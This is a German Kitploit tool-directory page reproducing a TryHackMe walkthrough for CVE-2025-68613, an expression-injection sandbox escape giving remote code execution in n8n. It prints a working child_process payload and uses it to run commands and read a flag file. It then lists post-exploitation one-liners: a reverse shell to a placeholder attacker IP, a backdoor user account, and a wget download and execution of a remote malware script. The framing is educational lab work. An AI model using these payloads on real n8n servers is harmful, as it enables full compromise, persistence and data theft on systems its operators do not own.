Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
n8n-cve-2025-68613-thm — Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs. | Kitploit
Tools/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and ControlLernen & BildungIncident ResponsePayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs.

Repository anzeigen
111vor 9 MonatenNoch nicht geprüft

CVE-2025-68613 – Kritische RCE-Ausnutzung von n8n

Übersicht

Dieses Repository dokumentiert eine praktische Ausnutzung von CVE-2025-68613 (CVSS 9.9), einer kritischen Remote-Codeausführungs-Schwachstelle, die die n8n Workflow-Automatisierungsplattform (Versionen 0.211.0 bis 1.120.3) betrifft.

Diese Ausnutzung wurde ethisch in einer kontrollierten TryHackMe-Lab-Umgebung ausschließlich zu Bildungszwecken durchgeführt.


Zusammenfassung der Schwachstelle

FeldWert
CVE-IDCVE-2025-68613
CVSS-Score9.9 (Kritisch)
Veröffentlicht19. Dezember 2025
Betroffenes Produktn8n Workflow-Automatisierungsplattform
SchwachstellentypAusdrucks-Injektion → Sandbox-Escape → RCE
AngriffsvektorAuthentifizierter Benutzer (Standard)
Gepatchte Versionen1.120.4, 1.121.1, 1.122.0+
Betroffene Versionen0.211.0 - 1.120.3

Was ist n8n?

n8n ist eine quelloffene Workflow-Automatisierungsplattform, mit der Benutzer Anwendungen und Dienste visuell verbinden können, um Aufgaben zu automatisieren. Sie bietet:

  • Knotenbasierte Workflow-Architektur: Jeder Knoten repräsentiert eine Aktion (API-Anfrage, Datenverarbeitung, E-Mail usw.)
  • 400+ native Integrationen: Vorgefertigte Konnektoren zu verschiedenen APIs und Diensten
  • Code-Knoten: Ausführung von benutzerdefiniertem JavaScript- oder Python-Code
  • Ausdrucksauswertung: Dynamische Ausdrücke in {{ }} werden als JavaScript ausgewertet

Bereitstellungsmodelle

  • Selbst gehostete Instanzen (on-premises oder private Cloud)
  • Cloud-gehosteter (n8n.cloud) verwalteter Dienst
  • Interne Automatisierungswerkzeuge in Unternehmensnetzwerken

Technischer Hintergrund

Die Angriffskette

Die Schwachstelle liegt im Workflow-Ausdrucksauswertungssystem von n8n. Wenn authentifizierte Benutzer Workflows konfigurieren, werden ihre Eingaben als JavaScript-Code ohne angemessene Sandboxing verarbeitet.

Kontext-Eskalationskette

Expression Sandbox
    ↓ (Escape via 'this')
Node.js Global Context
    ↓ (Zugriff auf mainModule)
Module System (require)
    ↓ (lade child_process)
Systembefehl-Ausführung

Hauptfehler

  1. Unsichere Ausdrucksauswertung: Benutzerausdrücke in {{ }} werden als rohes JavaScript ohne ordnungsgemäße Kontextisolierung ausgewertet
  2. Sandbox-Escape: Zugriff auf das this-Objekt ermöglicht das Entkommen aus den vorgesehenen Sandbox-Einschränkungen
  3. Uneingeschränkter Modulzugriff: process.mainModule.require() bietet Zugriff auf das Node.js-Modulsystem
  4. Gefährliches Modulladen: Kann das child_process-Modul zur Systembefehl-Ausführung laden
  5. Kein sinnvoller Authentifizierungsschutz: Jeder authentifizierte Benutzer kann die Schwachstelle ausnutzen

Exploit-Payload-Aufschlüsselung

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Erklärung:

  • this → Node.js global object
  • this.process → Node.js process object
  • process.mainModule → Root-Modul der n8n-Anwendung
  • .require('child_process') → Lade das Systembefehl-Ausführungsmodul
  • .execSync('COMMAND') → Führe Shell-Befehl synchron aus
  • .toString() → Konvertiere Buffersausgabe in lesbaren String

Ausnutzungs-Walkthrough

Schritt 1: Authentifizierung

Greife auf die anfällige n8n-Instanz zu und melde dich mit gültigen Anmeldedaten an.

Lab-Anmeldedaten:

  • E-Mail: [email protected]
  • Passwort: Try12345!

Anmeldebildschirm


Schritt 2: Willkommen & Workflow-Erstellung

Nach der Anmeldung wird die Workflow-Erstellungsoberfläche angezeigt. Klicke auf "Von Grund auf neu beginnen", um einen neuen Workflow zu starten.

Willkommensbildschirm


Schritt 3: Manuellen Trigger hinzufügen

Klicke auf "Ersten Schritt hinzufügen" und suche nach "Manual Trigger". Dieser Knoten dient als Einstiegspunkt für die Workflow-Ausführung.

Einrichtung des manuellen Triggers

Zweck: Der Manuelle-Trigger-Knoten ermöglicht die manuelle Ausführung des Workflows über die Schaltfläche "Workflow ausführen" in der Benutzeroberfläche, was ideal zum Testen ist.


Schritt 4: Workflow konfigurieren & Feldzuordnung hinzufügen

Füge einen "Edit Fields"-Knoten hinzu, um eine Feldzuordnung durchzuführen. Hier wird die Schwachstelle ausgenutzt.

Workflow-Konfiguration

Konfigurationsschritte:

  1. Klicke auf "Feld hinzufügen", um eine neue Feldzuordnung hinzuzufügen
  2. Setze den Modus auf "Expression"
  3. Dies ermöglicht die Auswertung von JavaScript-Code

Schritt 5: ID-Befehl ausführen

Injiziere die Payload, um den id-Befehl auszuführen und Benutzer-/Berechtigungsinformationen abzurufen.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Ergebnis:

uid=1000(node) gid=1000(node) groups=1000(node)

Ausführung des ID-Befehls

Gesammelte Informationen:

  • Läuft als Nicht-Root-Benutzer (uid=1000)
  • Gruppenmitgliedschaften (gid=1000)
  • Mögliche Wege zur Privilegieneskalation

Schritt 6: Dateisystem mit LS auflisten

Passe die Payload an, um den ls-Befehl auszuführen und Verzeichnisinhalte aufzulisten.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Ausführung des LS-Befehls

Ausgabe zeigt:

  • Vorhandensein einer Flag-Datei: flag.txt
  • Verzeichnisstruktur und Dateiberechtigungen
  • Zusätzliche Aufklärungsdaten

Schritt 7: Sensitive Daten extrahieren

Lies die Flag-Datei mit dem cat-Befehl, um die Ausnutzung abzuschließen.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
}

**Abgerufene Flag:**

THM{n8n_exposed_workflow}


![Flag-Extraktion](https://assets.kitploit.com/production/public/readmes/37299/724491b38e131fe984322265fd6c86d746f7565032091093ce5559f7e4f644eb.png)

---

## Fortgeschrittene Ausnutzungstechniken

### 1. Reverse Shell

Richte eine interaktive Shell für dauerhafte Kontrolle ein:

```javascript
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ANGREIFER_IP/PORT 0>&1').toString() 
})()

2. Backdoor-Benutzer erstellen

Füge einen neuen Systembenutzer für dauerhaften Zugriff hinzu:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORT) backdoor').toString() 
})()

3. Bösartige Payload herunterladen

Hole und führe entfernten Code aus:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://angreifer.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Privilegieneskalations-Aufklärung

Überprüfe auf sudo-Berechtigungen:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Umgebungsaufklärung

Extrahiere Umgebungsvariablen:

Tool herunterladen